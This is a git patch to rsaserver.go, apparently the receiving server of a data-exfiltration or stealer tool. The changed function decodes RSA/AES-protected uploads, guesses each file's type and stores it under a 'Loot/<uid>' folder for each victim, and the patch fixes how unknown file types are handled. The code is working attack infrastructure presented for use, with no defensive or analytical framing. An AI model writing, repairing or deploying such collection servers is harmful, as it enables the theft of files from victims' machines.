From 323b6e1f82a36df8761f10d2f4b4c21b6d11766a Mon Sep 17 00:00:00 2001 From: Joren Schipman Date: Wed, 1 May 2024 22:59:59 +0200 Subject: [PATCH] Fix incorrectly handeling of unknown filetypes --- rsaserver.go | 66 ++++++++++++++++++++++++++++------------------------ 1 file changed, 36 insertions(+), 30 deletions(-) diff --git a/rsaserver.go b/rsaserver.go index 3b2606c..dcd4949 100644 --- a/rsaserver.go +++ b/rsaserver.go @@ -180,40 +180,46 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) { return decodedKey, err } -func handleDecrypted(decryptedDataB []byte, uidB []byte){ - data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB))) - +func handleDecrypted(decryptedDataB []byte, uidB []byte) { + data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB))) + + fileType, err := magic.Lookup(data) + if err != nil { + if err == magic.ErrUnknown { + fmt.Println("File type is unknown") + } else { + panic(err) + } + } + + var fileTDef string + if fileType != nil { + fileTDef = fileType.Extension + } else { + fileTDef = "unknown" + } + + uid := strings.TrimSpace(string(uidB)) + folderPath := fmt.Sprintf("Loot/%s", uid) + err = createFolderIfNotExists(folderPath) + if err != nil { + panic(err) + } - fileType, err := magic.Lookup(data) - if err != nil { - if err == magic.ErrUnknown { - fmt.Println("File type is unknown") - fileType.Extension = "unk" - }else{ - panic(err) - } - } + timestamp := time.Now().Unix() + filename := fmt.Sprintf("%d.%s", timestamp, fileTDef) + + filePath := fmt.Sprintf("%s/%s", folderPath, filename) + fmt.Println(filePath) + err = saveFile(filePath, data) + if err != nil { + panic(err) + } - uid := strings.TrimSpace(string(uidB)) - folderPath := fmt.Sprintf("Loot/%s", uid) - err = createFolderIfNotExists(folderPath) - if err != nil { - panic(err) - } - - timestamp := time.Now().Unix() - filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension) - - filePath := fmt.Sprintf("%s/%s", folderPath, filename) - fmt.Println(filePath) - err = saveFile(filePath, data) - if err != nil { - panic(err) - } - - fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath) + fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath) } + func createFolderIfNotExists(folderPath string) error { _, err := os.Stat(folderPath) if os.IsNotExist(err) {